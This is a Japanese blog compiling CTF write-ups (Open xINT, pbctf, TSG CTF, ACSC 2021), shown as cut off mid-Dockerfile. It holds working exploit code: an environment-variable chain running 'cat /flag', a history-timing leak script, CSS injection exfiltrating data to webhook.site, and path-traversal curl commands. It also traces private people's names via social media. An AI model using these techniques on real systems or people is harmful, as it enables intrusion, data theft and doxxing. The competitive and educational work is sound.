st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Open xINT CTF 2021のwriteup

10/23に9時間だけ開催された。keymoonさん、ptr-yudaiさんと一緒に(実質ミニzer0ptsである)チーム٩(๑òωó๑)۶として出て1位。昨年のOpen xINT CTF 2020から2年連続で、そして同じくOSINTメインの大会であるTsukuCTF 2021に引き続き優勝できて嬉しい ٩(๑òωó๑)۶

競技の終盤は、古いオルゴールの写った写真の撮影場所を特定するDISKと、アフガニスタンのカーブルにある店の名前を特定するAfganistanに結構な時間を費やしてしまった。チームメンバーと一緒にGoogleマップ上でパイオニアの川越工場とカーブルとの間を反復横跳びした結果としてAfganistanは解けたものの、DISKは解けず悔しい。精進していきたい。


[PLACE 100] SUB (64 solves)

潜水艦が見える。撮影した場所を答えよ。

I see a submarine. Where did I take this picture?

写真の奥側にやたらとクレーンが見えたり、工場のような建物があったりして造船所っぽい雰囲気がある。「潜水艦 造船所」で画像検索するとよく似た雰囲気の写真が含まれるニュースがヒットする。川崎重工の神戸工場らしい。

Googleマップでこのあたりを見ていると、第4ドックの対岸にあるハーバーウォークのあたりの模様が、与えられた写真の下部に写っているものと一致していることに気づく。ここだ。

f:id:st98:20211024095149p:plain

N34.678,E135.185

[PLACE 200] Maple (18 solves)

写真を撮影した場所の正式な"公園"の名前を答えよ

What is the official name of this "park"?

文字情報はまったくないが、画像中央に円形の人工池があったり、画像左下にアスレチックらしき道があったり、特徴的なものがある。適当なワードで検索してもそれっぽいものは見つけられなかったので、Googleレンズで検索して粘り強くその結果を眺めていると、よく似た人工池の写った写真が見つかった。京都府城陽市にある「鴻ノ巣山運動公園」だ。

鴻ノ巣山運動公園

[PLACE 250] Regular (28 solves)

ランチはいつもここに決めてる。新鮮な野菜や果物を出してくれるから、ここが一番好き。いつも素敵な笑顔で提供してくれる女将さんのことも、もちろん大好き。そういえば女将さんの名前、何だっけ? フルネームを教えて。

I come here for lunch every day. This restaurant is my favorite because they serve fresh vegetables and fruits. And of course, I'm in love with the restaurant manager who always brings me the lunch plate with her lovely smile. I want to know her name. Would you please tell me her full name?

飲食店の前で撮影されたらしき写真が与えられている。問題文で言及されている女将さんらしき人物と鹿とが対峙している場面(知らんけど)で、奈良か宮島あたりだろうとある程度あたりがつけられる。写真の左側に写っている英語表記の看板に「Japanese cuisine」という表記があり、ここが和食のお店らしいという情報が得られる。また、写真の右下に「山一」と店名らしき単語が写っているのは大きなヒントだろう。

f:id:st98:20211024100915p:plain

「山一 宮島」で検索すると「山一 本店」や「山一別館」といったお店がヒットするが、写真の左側に写っているタイルなどと突き合わせると後者であるとわかる。

f:id:st98:20211024101501p:plain

このお店に関係する人物の名前が知りたい。適当なワードで検索すると広島県の公開する資料がヒットし、代表者の名前がわかった。この名前を足がかりにFacebookなどを検索すると、女将さんの名前がわかった。

[PLACE 500] Afganistan (5 solves)

この店の2件隣にある店の名前を英語表記で答えよ

Answer the shop's name (English) two buildings away from the shop in the picture.

今年のカーブル陥落後にニュースでよく見た写真が与えられている。写真の右上に書かれている「Taj Beauty Salon」は店名だろう。ググるFacebookのページが見つかり、お店の位置がわかるが、Googleマップを見てもこのお店の名前は見つからないし、どれが「2件隣にある店」なのかわからない。

悩んでいると、ptr-yudaiさんがYouTubeに上がっているニュース動画を見つけた。このお店が写っている。よく見ると、2件隣に「Arya Store」とある。

Arya Store

[WEB 50] WHOIS (114 solves)

pinja.xyz の最新の更新された時間を示せ。

When was pinja.xyz last update?

whois コマンドで pinja.xyz の情報を確認すると、更新された日時がわかった。

$ whois pinja.xyz
…
Updated Date: 2021-10-20T16:04:20.0Z
…
2021-10-20T16:04:20.0Z

[WEB 100] past cetificate (35 solves)

日本にサイバークリーンセンター(Cyber Clean Center) という組織がありました。その組織の最後の電子証明書のシリアルナンバーを答えよ。

There used to be an organization in Japan called Cyber Clean Center. Answer the serial number of the last issued electronic certificate.

サイバークリーンセンター」でググって出てきたWikipediaの記事を見ると、かつてこの組織のWebサイトは www.ccc.go.jp というドメイン名でホストされていたこと、2015年3月にそのWebサイトが閉鎖されたことがわかる。

電子証明書の確認と言えばcrt.shだ。www.ccc.go.jp で検索すると7個の電子証明書がヒットするが、ほとんどはWebサイトの閉鎖以降に記録されたものであることに注意する。2015年3月時点で使われていたと思われるものは3647207だ。

37:d4:64:28:16:b8:5d:b6:7d:1b:e7:55:80:b7:8c:25

[WEB 150] Plate (52 solves)

このナンバープレートの車種を答えよ

Answer the car model that uses this number plate.

ナンバープレートの写真が与えられている。ナンバープレートの左側に NSW とあり、「nsw number plate」でググるとオーストラリアのニューサウスウェールズ州で発行されているものであるとわかる。

f:id:st98:20211024103553p:plain

プレートのナンバーで検索できるサービスもあり、これで検索するとヒットした。

f:id:st98:20211024103948p:plain

LANCER

[WEB 200] waitress (23 solves)

ついに2021年9月24日に卒業することができたわ! 卒業はするけど、ウェイトレスとして働いているからお店で待ってるね

I graduated the university on September 24, 2021! I'll still be working at the restaurant. You know the name of the restaurant, right?

卒業記念に撮ったと思われる、学位記を持った人物の写真が与えられている。学位記から大学名や学部名などの情報が得られる。この大学のFacebookページに投稿された写真を眺めていると、与えられた写真の元になったらしきものが見つかる。写っている名前を検索すると、この人物のLinkedInページがヒットする。そこに問題文で求められている店名が書かれていた。

[WEB 250] e-bike (14 solves)

2021年10月2日未明、ニューヨークのとある街角でE-バイクに乗った男性が横転し、アスファルトに身体を打ち付けて亡くなった。警察の話では、現場に他の車両などがなかったとのこと。本当は何があったのだろうか。少し距離はあるが、ある建物に監視カメラがあった。うまくいけば、当時の様子が録画されているかもしれない。そのカメラが取り付けてある店の電話番号を教えてくれ(ハイフンなし、連番で回答)。

October 2, 2021 midnight, a man riding an e-bike in New York was thrown off and died after hitting hard on the ground. There were no other vehicles at the scene, according to the police. I wonder what really happened. I found a shop with a surveillance camera not far from the scene. Maybe it has footage of the accident. What is the phone number of the shop? (no hyphen)

この事故に関するニュースがないか「new york e-bike」で検索してみると、結構な件数がヒットする。10/2から10/4に書かれたニュースに限って検索すると、一番上にそれっぽい記事が見つかった。

ニュースの本文から事故が起こった位置がある程度わかる。近くにある監視カメラのある店の電話番号を入力していくと解けた。

7189012316

[BUS 150] TOKYO2020 (36 solves)

私は東京オリンピックを取材にシンガポールから着た記者である。会場からMPCに戻るときの専用バスに乗るのであるが、バスのWi-Fiのパスワードを教えてほしい。

I came from Singapore to cover Tokyo Olympics. I'm going to take a shuttle bus back to MPC from the stadium, and I want to use the bus Wi-Fi. What is the Wi-Fi password?

雑にGoogleで「tokyo olympics bus wi-fi」という検索ワードで画像検索すると、トップにWi-Fiのパスワードが写った写真が出てきた。マジか。

[BUS 300] soar to new heights (12 solves)

私の名前を冠した学校がようやく完成した。すでに亡くなった私には、このスクールバスに乗って学校に通う学区の子どもたちを見送ることはできない。せめて、楽しく学びの多い学生生活が送れることを空の向こうから見守っていこう。あぁ、開校式に参加してくれた妻にも思いを伝えたい。さあ、私と一緒に妻の名前を呼んでくれ(妻の名前をフルネームで答えよ)。

A school named after me has finally opened. I can't see off the children on the school bus since I died a while ago. I hope, from the sky above, their school life will be fruitful and educative. I also want to send my love to my wife, who attended the ribbon-cutting ceremony. Please call her name with me. (answer in full name)

スクールバスがどこかに向かっている様子が撮影された写真が与えられている。写真の左奥に「Cold Springs Valley」と読めないこともない標識が見える。ネバダ州のワショー郡の地域らしい。

f:id:st98:20211024105625p:plain

スクールバスのナンバープレートもネバダ州のものであり、それっぽい。

f:id:st98:20211024105823p:plain

GoogleマップでCold Springs Valleyのあたりに移動して「school」を検索してみたが、多すぎて困る。このあたりの住所を見てみると「Reno」という地名が含まれていることがわかる。

nevada reno new school ribbon-cutting ceremony」でググってみると大変それっぽいニュースが出てきた。学校名から問題文の「私」はMichael Inskeepさんであり、またニュースの本文から「妻」はGeri Inskeepさんであることがわかる。

Geri Inskeep

[FORENSICS 100] JELLY FISH (36 solves)

この写真を撮影したスマートフォンが起動した時間を示せ。(日本時間)

What is the boot time of the smartphone that took this picture? (Answer in JST)

HEIC形式の写真が与えられている。ExifToolに投げると以下のような情報が得られた。

$ exiftool IMG_2650.HEIC
…
Run Time Since Power Up         : 4 days 1:49:02
…
Create Date                     : 2021:10:02 13:41:09.853+09:00
Date/Time Original              : 2021:10:02 13:41:09.853+09:00
…

2021年10月2日13時41分9秒から4日と1時間49分2秒前の日時は、2021年9月28日11時52分7秒だ。

2021/09/28 11:52:07

[FORENSICS 200] pilgrimage (35 solves)

志摩リン(ドラマ版)の家から一番近い携帯電話基地局のCell IDは?

What is the Cell ID of the mobile phone base station closest to the house of Rin Shima (志摩リン) in TV drama version?

ゆるキャン 聖地 ドラマ」でググると、ドラマ版での家の場所がわかる。「cell id database」でググるOpenCelliDという大変便利なデータベースがヒットする。これで検索すると最寄りの基地局のCell IDがわかった。

38190592

[DarkWeb 100] North (28 solves)

北朝鮮に関するダークウェブ上の日本語情報があるホスト名を答えよ

On the dark web, there's a website about North Korea written in Japanese. Answer its hostname.

雑に「北朝鮮 ダークウェブ onion」で検索するとリンク集がヒットした。その中にそれっぽいものがある。

ivxrfwu6yozpws5y6yjjk7odqpdnyyupxire4qt3qurg27o3pq5se2id.onion

pbctf 2021 writeup

10/9 - 10/11という日程で開催された。zer0ptsで参加して5位。

他のメンバーが書いたwrite-up:


[Web 340] Advancement (9 solves)

Embedthis GoAheadの最新版である5.1.4で、以下のようなシンプルなPythonCGIスクリプトが動いている。それだけ。

#!/usr/bin/env python3

from datetime import date

print("Content-Type: text/plain")
print()

today = date.today()
print("Today's date:", today)

これは実は0-day問で、細工したHTTPリクエストを送ると、環境変数に好きな値を設定した上でCGIスクリプトを実行させられる。環境変数が操作できる状態で、Pythonでなにか悪いことができないかPOSIXさんの記事を見てみると、PYTHONSTARTUP というものが見つかった。これは値として設定したファイルが自動的にPythonスクリプトとして読み込まれ実行されるというものだが、残念ながら対話モードでなければならない。

Kahlaさんから LD_PRELOAD であればどうかというアイデアが出た。確かにアップロードしたファイルは通常であれば /etc/goahead/tmp に予測可能なファイル名で一時的に保存されるし、なんなら /proc/self/fd/… がそのファイルを指している。が、残念ながら docker-compose.ymlread_only: true という記述があり、そもそもファイルのアップロードができなかった。

雑に "python environment variable exploit" でググってみると、Hacking with Environment Variablesという大変気になる記事が見つかった。PYTHONWARNINGS という環境変数all:0:antigravity.x:0:0 という値を突っ込んでやれば、antigravity というモジュールが読み込まれるらしい。これはPythonイースターエッグで、読み込むとWebブラウザhttps://xkcd.com/353/ が開かれる。この際 BROWSER という環境変数が参照され、Webブラウザのパスとして扱われるが、その値が perlthanks であれば perlthanks というPerlスクリプトが実行される。Perlは実行時に PERL5OPT という環境変数が設定されていれば、その値がコマンドラインオプションとして与えられているものとして扱う。-Mbase;print(123);exit のような値が入っていれば、任意のPerlコードが実行できてしまう。

これら3つの環境変数を使って、print(system("cat".chr(0x20)."/flag")); というPerlコードを実行させるとフラグが得られた。

pbctf{all_i_was_doing_is_running_a_simple_python_script}

[Web 353] Vault (8 solves)

セキュアにメモを保存できるらしいWebアプリケーションが与えられる。トップページには 1 から 32 までの数値が書かれたボタンがあり、押すとそれぞれ 1/ から 32/ までのサブディレクトリに移動する。例えば 5, 9, 6, 3 の順番で押すと、最終的に /5/9/6/3/ に移動する。

パスが9階層以上の深さになると、以下のようにそのパスにメモを保存できるようになる。これだけ深くなれば、総当たりしようにもできないだろうということらしい。

    if level > 8 and request.method == "POST":
         value = request.form.get("value")
         value = value[0:50]
         values.append(value)

トップページからは好きなURLの通報ができて、以下のようなbotによってアクセスされる。14階層分ランダムにボタンをクリックした後にそのパスにフラグを保存し、そしてユーザが通報したURLにアクセスする。フラグが保存されたパスを特定すればよいようだが、通報の度にそのパスは変わるから、一発で特定できるような方法を考えなければならない。

async function click_vault(page, i) {
  const vault = `a.vault-${i}`;
  const elem = await page.waitForSelector(vault, { visible: true });
  await Promise.all([page.waitForNavigation(), elem.click()]);
}

async function add_flag_to_vault(browser, url) {
  if (!url || url.indexOf("http") !== 0) {
    return;
  }
  const page = await browser.newPage();

  try {
    await page.goto(vaultUrl);

    for (let i = 0; i < 14; i++) {
      await click_vault(page, crypto.randomInt(1, 33));
    }
    await page.type("#value", FLAG);
    await Promise.all([page.waitForNavigation(), page.click("#submit")]);

    await page.goto(url);
    await new Promise((resolve) => setTimeout(resolve, 30 * 1000));
  } catch (e) {
    console.log(e);
  }
  await page.close();
}

フラグのパスが /5/9/6/3/…/ のような場合であれば、botはフラグを書き込むまでに /5/, /5/9/, …といったパスを閲覧しているはずだ。あるパスを閲覧したか判定できるような方法があれば、1階層ずつ総当たりで特定できる。

s1r1usさんから、CSS:visited という擬似クラスを使ってはどうかというアイデアが出た。じゃあCSS Injectionのノリで background-image でリークすればいいんじゃないかと思い、以下のようなHTMLとCSSを書いてみたが動かない。調べてみたところ、どうやらプライバシー上の問題から:visited 擬似クラスが使われている場合は、一部のプロパティしか有効でないらしい。

<style>
  a[href^="/1/"]:visited {
    background-image: url(http://example.com?1);
  }
  a[href^="/2/"]:visited {
    background-image: url(http://example.com?2);
  }
  a[href^="/3/"]:visited {
    background-image: url(http://example.com?3);
  }
</style>
<a href="/1/">hoge</a>
<a href="/2/">hoge</a>
<a href="/3/">hoge</a>

XS-Leaks Wikiなんかも眺めつつなんとかできないか考えていたところ、s1r1usさんがとても興味深いChromiumのissueを発見した。

このissueは次のような内容だ。大量の a 要素を含むWebページを用意して、あらかじめそれらのリンクの href 属性を https://example.com/(乱数) のような確実にユーザが訪問したことのないURLにしておく。続けて、それらのリンクの href 属性を、ユーザが訪問済みであるかどうか確かめたいURLに変更する。もしそのURLが訪問済みであればリンクの色は変わるし、未訪問であればリンクの色は変わらない。その差により、requestAnimationFrame を使ってこの変更後に再描画にかかった時間を計測してやると、訪問済みであれば未訪問である場合より長くなっているはずだ。

手元のGoogle Chrome 94.0.4606.81でも動いたし、問題サーバのbotはシークレットモードでないからこの手法が使えそうだ。issueに添付されていたPoCを参考に、text-shadow などを使ってより再描画に時間がかかりそうな重CSSを書く。リンクの指す先を切り替えて再描画の時間を計測するJavaScriptコードなども丸々書き直すと、次のようなスクリプトができあがった:

<body>
<style>
#nyan {
  text-shadow: black 1px 1px 50px;
  opacity: 1;
  font-size: 15px;
  word-break: break-all;
}

a {
  padding: .5em;
}
</style>
<div id="nyan"></div>
<script>
const NUMBER_OF_ELEMENTS = 130;
const NUMBER_OF_TRIES = 4;

const div = document.getElementById('nyan');
for (let i = 0; i < NUMBER_OF_ELEMENTS; i++) {
  let link = document.createElement('a');
  link.textContent = '#'.repeat(15);
  link.style.position = 'absolute';
  link.style.top = i + 'px';
  link.style.left= i + 'px';
  div.appendChild(link);
}

function updateLinks(url) {
  for (let i = 0; i < NUMBER_OF_ELEMENTS; i++) {
    div.children[i].href = url;
  }
}

function average(a) {
  return a.reduce((p, c) => p + c, 0) / a.length;
}

function go(link) {
  return new Promise(resolve => {
    let a = [];
    let count = 0;
    updateLinks(Math.random());

    let prev = performance.now();
    let flag = false;

    function loop() {
      let now = performance.now();
      let diff = now - prev;
      prev = now;
      a.push(diff);

      flag = !flag;
      if (flag) {
        updateLinks(Math.random());
      } else {
        updateLinks(link);
      }

      count++;
      if (count < NUMBER_OF_TRIES) {
        requestAnimationFrame(loop);
      } else {
        resolve(average(a));
      }
    }
  
    requestAnimationFrame(loop);
  });
}

(async () => {
  const result = await go(`http://vault.chal.perfect.blue/0/`);

  let known = '';
  for (let i = 0; i < 14; i++) {
    let [mt, mu] = [0, ''];
    for (let j = 1; j <= 32; j++) {
      const result = await go(`http://vault.chal.perfect.blue/${known}${j}/`);
      if (result > mt) {
        mt = result;
        mu = j;
      }
    }
    known += `${mu}/`;
    console.log(known);
    navigator.sendBeacon(`log.php?${known}`);
  }
})();
</script>
</body>

このHTMLを開くと、いかにも重そうなおぞましいWebページが描画される。

f:id:st98:20211014103923p:plain

これをbotに報告してやると、そのアクセスでは /8/22/21/4/15/4/18/9/9/1/5/17/8/16/ がフラグの保存されたパスであることがわかった。そのパスにアクセスするとフラグが得られた。

pbctf{who_knew_that_history_was_not_so_private}

TSG CTF 2021 writeup

10/2 - 10/3という日程で開催された。zer0ptsで参加して1位。やったー。毎度のことながら高品質な問題ばかりで楽しかった。

このwriteupで紹介する問題のほかにもWeb問とか、Pillowのデコーダの挙動を悪用しつつSGIという謎画像フォーマットでゴルフをするMisc問のKotlin Lovers Societyとかにも取り組んでいたのだけれども、結局解けなくてくやしい。

他のメンバーが書いたwrite-up:


[Web 393] Udon (4 solves)

ででーん!うどん、動きます。

(URL)

Beginners CTF 2019のRamen、Beginners CTF 2020のSomen、そしてSECCON 2020 Online CTFのpastaに続く麺類シリーズの最新作。今回は好きなうどんについてメモを残せるサービスが提供されている。以下のようなフォームからうどんのメモを投稿できるが、<, >, ', " といった記号は実体参照に変換されてしまうためContent Injectionはできない。

f:id:st98:20211003170446p:plain

トップページからは投稿したメモの一覧を閲覧できる。ここでもメモのタイトルに含まれる特殊な記号は実体参照に変換されるし、各メモのURLについてもサービス側がランダムに生成したIDが使われるため、属性値でのContent Injectionはできない。

f:id:st98:20211003170915p:plain

各メモのページには Tell Admin About This Udon Note というボタンが用意されており、これを押すとadminがアクセスしに来てくれる。ソースコードを確認すると、adminは uid というCookieのキーにadminのユーザIDをセットした上で、Firefoxを使ってアクセスすることがわかる。

  const browser = await puppeteer.launch({
    product: "firefox",
    headless: true,
    ignoreHTTPSErrors: true,
  });
  const page = await browser.newPage();
  await page.setCookie({
    name: "uid",
    value: process.env.ADMIN_UID,
    domain: "app",
    expires: Date.now() / 1000 + 10,
  });

Webサーバ側のソースコードも確認すると、初期化処理としてadminのユーザIDでフラグをその内容としたメモを投稿していることがわかる。なんらかの方法でこのメモのURLを入手することがこの問題の目標のようだ。

   posts := []Post{}
    db.Where("uid = ?", os.Getenv("ADMIN_UID")).Find(&posts)
    if len(posts) == 0 {
        db.Create(&Post{
            UID:         os.Getenv("ADMIN_UID"),
            Title:       "flag",
            Description: os.Getenv("FLAG"),
        })
    }

怪しげな挙動を探していく。ページ下部にクリックすると /reset?k=set-cookie&v=uid%3Dblah%3B+path%3D%2F%3B+expires%3DThu%2C+01+Jan+1970+00%3A00%3A00+GMT に飛ぶ reset というリンクがある。このURLにアクセスするとCookieが削除される。

与えられたソースコードを見てみると、この機能は以下のようなミドルウェアとして実装されていることがわかる。これを使えば、どのページにおいてもGETパラメータの k をキー、v を値として、Set-Cookie に限らずひとつだけ好きなHTTPレスポンスヘッダを発行させられる。HTTPヘッダインジェクションだ。

   r.Use(func(c *gin.Context) {
        k := c.Query("k")
        v := c.Query("v")
        if matched, err := regexp.MatchString("^[a-zA-Z-]+$", k); matched && err == nil && v != "" {
            c.Header(k, v)
        }
        c.Next()
    })

まず Content-Security-Policy ヘッダで report-uri ディレクティブを使うことを考えたが、default-src 'none' ですべてのリソースの読み込みをブロックさせても、以下のように違反レポートからは有用な情報はまったく得られなかった。

{"csp-report":{"blocked-uri":"http://app:8080/favicon.ico","column-number":19,"document-uri":"http://app:8080/?k=Content-Security-Policy&v=default-src%20%27none%27%3b%20report-uri%20https://webhook.site/…","line-number":191,"original-policy":"default-src 'none'; report-uri https://webhook.site/…","referrer":"","source-file":"resource","violated-directive":"default-src"}}

ここで悩んでいたが、s1r1usさんが Link ヘッダを使うことを思いついた。このヘッダを使えば、link 要素を挿入した場合と同じ効果が得られる。つまり、Link: <style.css>; rel="stylesheet" のようなHTTPレスポンスヘッダを発行させれば好きなページで好きなCSSを読み込ませることができる。Link ヘッダはFirefoxぐらいしか対応していないが、そういえばadminはちょうどFirefoxを使っていた。

script-src 'self'; style-src 'self'; base-uri 'none' という内容のCSPヘッダが発行されているために、CSSの読み込み先は同じオリジンでなければならないが、幸いにもこのサービスでは好きなコンテンツを投稿できる。試しに {}*{background:red;} のような内容のメモを作成して、Link ヘッダを使ってトップページで読み込ませてみる。/?k=Link&v=</notes/I4zgr9doRL>%3b rel="stylesheet" のようなURLにアクセスしたところ、 以下のようにページが赤に染まった。ちゃんとメモをCSSとして読み込ませることができたようだ。

f:id:st98:20211003180048p:plain

CSSを使ってトップページに表示されているリンクのURLを抽出したい。CSS Injectionと同じ要領で、a[href$=…]{background:url(…);} のように属性セレクタを使って、a 要素の href 属性がある文字列で終わっていれば特定のURLの画像を読み込むというようなルールをたくさん作ってやれば、少しずつURLが抽出できるはずだ。雑にスクリプトを書く。

import requests

payload = '{}'
known = ''
for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
  payload += 'a[href$=' + c + known + ']{background:url(https://webhook.site/…?' + c + known + ')}'

print(len(payload))

r = requests.post('http://34.84.69.72:8080/notes', data={
  'title': payload,
  'description': 'desc'
})
path = r.url.rsplit('/', 1)[-1]

requests.post('http://34.84.69.72:8080/tell', data={
  'path': f'/?k=Link&v=</notes/{path}>%3b rel=%22stylesheet%22'
})

これを実行すると、https://webhook.site/…?r にアクセスが来た。これで r で終わるURLへのリンクがトップページに存在することがわかる。ただ、属性セレクタの属性値は実体参照への変換を避けるために "' で囲んでいないから、もし a[href$=1]{…} のように数字から始まっていれば、仕様からわかるようにちゃんと動いてくれない。もし属性値が数字から始まりそうな場合には、以下のようにブルートフォースしてしまおう。

payload = '{}'
known = ''
for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
  for d in '0123456789':
    payload += 'a[href$=' + c + d + known + ']{background:url(https://webhook.site/…?' + c + d + known + ')}'

このスクリプトを使って少しずつフラグのメモのURLを特定できた。/notes/ytH2ajv63r にアクセスするとフラグが得られた。

TSGCTF{uo_uo_uo_uo_uoooooooo_uo_no_gawa_love}

この問題はzer0ptsがfirst bloodだった。競技終了後に公開された作問者によるwriteupを確認したところ、属性セレクタの属性値の部分について、わざわざブルートフォースで飛ばして数字から始まらないようにしなくとも a[href$=\31] { background: red; } のようにエスケープすればよいことがわかった。なるほどなあ。

[Reversing 227] Natural Flag Processing (16 solves)

このRNNモデルが受理するフラグ文字列を探してください。

main.py という以下のような内容のPythonスクリプトと、model_final.pth というモデルが与えられている。

import string

import torch
from torch import nn

FLAG_CHARS = string.ascii_letters + string.digits + "{}-"
CHARS = "^$" + FLAG_CHARS
def sanity_check(text):
    global FLAG_CHARS
    assert text[:7] == "TSGCTF{"
    assert text[-1:] == "}"
    assert all([t in FLAG_CHARS for t in text])

def embedding(text):
    global CHARS
    x = torch.zeros((len(text), len(CHARS)))
    for i, t in enumerate(text):
        x[i, CHARS.index(t)] = 1.0
    return x

class Model(nn.Module):
    def __init__(self, inpt, hidden):
        super().__init__()
        self.cell = nn.RNNCell(inpt, hidden)
        self.out = nn.Linear(hidden, 1)
    def forward(self, xs):
        h = None
        for x in xs:
            h = self.cell(x, h)
        return self.out(h)

def inference(model, text):
    model.eval()
    with torch.no_grad():
        x = embedding("^"+text+"$").unsqueeze(1)
        y = model(x)[0].sigmoid().cpu().item()
    return y

model = Model(len(CHARS), 520)
model.load_state_dict(torch.load("model_final.pth"))
text = input("input flag:")
sanity_check(text)
if inference(model, text) > 0.5:
    print("Congrats!")
else:
    print("Wrong.")

Modelforward メソッドを以下のものに差し替える。

    def forward(self, xs):
        h = None
        for i, x in enumerate(xs):
            h = self.cell(x, h)
            print(max(h[0]))
        return self.out(h)

この状態で inference(model, 'AAAAAAA')inference(model, 'TSGCTF{') を実行してみると、それぞれ以下のような結果になった。正解の文字でなければ結果が大きく変わるっぽい。これを使ってちょっとずつフラグを特定していこう。

f:id:st98:20211003190554p:plain

今度は Modelforward メソッドを以下のものに差し替える。

    def forward(self, xs):
        h = None
        for i, x in enumerate(xs):
            h = self.cell(x, h)
            result = float(max(h[0]))
            if result < 0.5:
              raise Exception(i)
        return self.out(h)

このまま以下のコードを実行してみると、mRnAmRNa などそれっぽい文字列を出力し始めた。定期的に止めて人の手でそれっぽい文字列だけを残すようにしてやり、再び実行するという流れを何度も繰り返すと、最終的に mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN という文字列が得られた。

import queue

q = queue.Queue()
q.put('')

while not q.empty():
  tmp = q.get()
  l = len(tmp) + 8
  for c in FLAG_CHARS:
    try:
      inference(model, 'TSGCTF{' + tmp + c + '}')
    except Exception as e:
      if e.args[0] > l:
        print(tmp + c)
        q.put(tmp + c)
TSGCTF{mRNA-st4nDs-f0r-mANuaLLy-tun3d-RecurrEn7-N3uRAl-AutoM4toN}

Asian Cyber Security Challenge (ACSC) 2021 writeup

9/18 - 9/19という日程で開催された。このCTFは個人戦で、総合順位は4位、(今年の1/1時点で25歳以下であり、アジアの一部の国の国籍を持つという)決勝大会への参加資格を持つ人の中では2位だった。日本国内でも2位で、来年の6月にアテネで開催される予定の決勝大会にたぶん参加できるらしく嬉しい。


[Warmup 1] welcome (429 solves)

Discordサーバに入るとフラグが得られた。いつものやつ。

ACSC{welcome_to_ACSC_2021!}

[Web 220] API (107 solves)

与えられたURLにアクセスするとログインフォームが表示される。通常利用できる機能はユーザの登録、ログイン、ログアウトのみ。

function main($acc){
    gen_user_db($acc);
    gen_pass_db();
    header("Content-Type: application/json");
    $user = new User($acc);
    $cmd = $_REQUEST['c'];
    usleep(500000);
    switch($cmd){
        case 'i':
            if (!$user->signin())
                echo "Wrong Username or Password.\n\n";
            break;
        case 'u':
            if ($user->signup())
                echo "Register Success!\n\n";
            else
                echo "Failed to join\n\n";
            break;
        case 'o':
            if ($user->signout())
                echo "Logout Success!\n\n";
            else
                echo "Failed to sign out..\n\n";
            break;
    }
    challenge($user);
}

adminになれれば、以下のコードからわかるようにユーザ一覧の取得やある文字列がフラグであるかどうかの確認などの機能も利用できるようになる。adminでなければ /api.php にリダイレクトされる。

function challenge($obj){
    if ($obj->is_login()) {
        $admin = new Admin();
        if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
        $cmd = $_REQUEST['c2'];
        if ($cmd) {
            switch($cmd){
                case "gu":
                    echo json_encode($admin->export_users());
                    break;
                case "gd":
                    echo json_encode($admin->export_db($_REQUEST['db']));
                    break;
                case "gp":
                    echo json_encode($admin->get_pass());
                    break;
                case "cf":
                    echo json_encode($admin->compare_flag($_REQUEST['flag']));
                    break;
            }
        }
    }
}

が、redirect の実装を見ると exit もしくは die が呼び出されておらず、以降の処理も続けて実行されてしまうため、結局のところadminでもadminでなくてもadmin向けの export_users などのメソッドが呼び出せてしまうことがわかる。

 public function redirect($url, $msg=''){
        $con = "<script type='text/javascript'>".PHP_EOL;
       if ($msg) $con .= "\talert('%s');".PHP_EOL;
       $con .= "\tlocation.href = '%s';".PHP_EOL;
       $con .= "</script>".PHP_EOL;
        header("location: ".$url);
        if ($msg) printf($con, $msg, $url);
        else printf($con, $url);
    }

admin向けの機能である export_db の実装を確認する。指定したファイルを読み込んで返してくれる機能のようだ。is_pass_correct が呼ばれていることからわかるように $this->db['path'] の内容を pas というGETパラメータから与えないといけないが、まさにそれを返してくれる get_pass もadmin向けの機能として呼び出せてしまう。

 public function export_db($file){
        if ($this->is_pass_correct()) {
            $path = dirname(__FILE__).DIRECTORY_SEPARATOR;
            $path .= "db".DIRECTORY_SEPARATOR;
            $path .= $file;
            $data = file_get_contents($path);
            $data = explode(',', $data);
            $arr = [];
            for($i = 0; $i < count($data); $i++){
                $arr[] = explode('|', $data[$i]);
            }
            return $arr;
        }else 
            return "The passcode does not equal with your input.";
    }

// …

    public function is_pass_correct(){
        $passcode = $this->get_pass();
        $input = $_REQUEST['pas'];
        if ($input == $passcode) return true;
    }

// …

    public function get_pass(){
        return file_get_contents($this->db['path']);
    }

ユーザ登録 → get_pass からadmin向けの機能を利用するためのパスワードを取得 → export_db から /flag を取得という流れでフラグが得られた。

$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=u"
Register Success!
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&c2=gp"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
":<vNk"
$ curl -k "https://api.chal.acsc.asia/api.php?id=Aikatsu&pw=Abcd12345&c=i&pas=:<vNk&c2=gd&db=../../../../../flag"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
[["ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"]]
ACSC{it_is_hard_to_name_a_flag..isn't_it?}

[Web 230] Baby Developer (18 solves)

/ にアクセスするとフラグを返すWebサーバが動いている genflag、HTTPサーバとSSHサーバが動いており、後者にログインすると genflag にアクセスできフラグが得られる website、Redisサーバが動く redis、メインのWebサーバである mobile-viewer の4つのコンテナが動いているWebアプリケーションが与えられる。表からアクセスできるのは websiteSSHサーバと mobile-viewer のみだ。

mobile-viewer を見ていく。これはURLを与えるとChromiumでアクセスし、16x16のサイズでスクリーンショットを撮影して返してくれる。一応 genflag にもアクセスさせられるが、genflag 側では以下のように User-AgentiPhone が含まれていないか確認されているし、mobile-viewer によるアクセスはまさにその条件に当てはまってしまうのでダメ。

@app.route('/flag')
def hello_world():
    if request.remote_addr == dev and 'iPhone' not in request.headers.get('User-Agent'):
        fp = open('/flag', 'r')
        flag = fp.read()
        return flag
    else:
        return "Nope.."

website を見ていく。ソースコードとして以下のような Dockerfile が与えられている。鍵の生成などのSSHのための設定を行った後にSSHサーバを立ち上げ、stypr/harold.kim をcloneしてきてWebサーバを立ち上げている。リポジトリpackage.json を見るにVitepressを使っているらしい。

FROM node:lts-buster
WORKDIR /srv/
RUN apt-get update && apt-get -y install ssh

# For remote ssh from the library PC
RUN useradd -d /home/stypr -s /home/stypr/readflag stypr && \
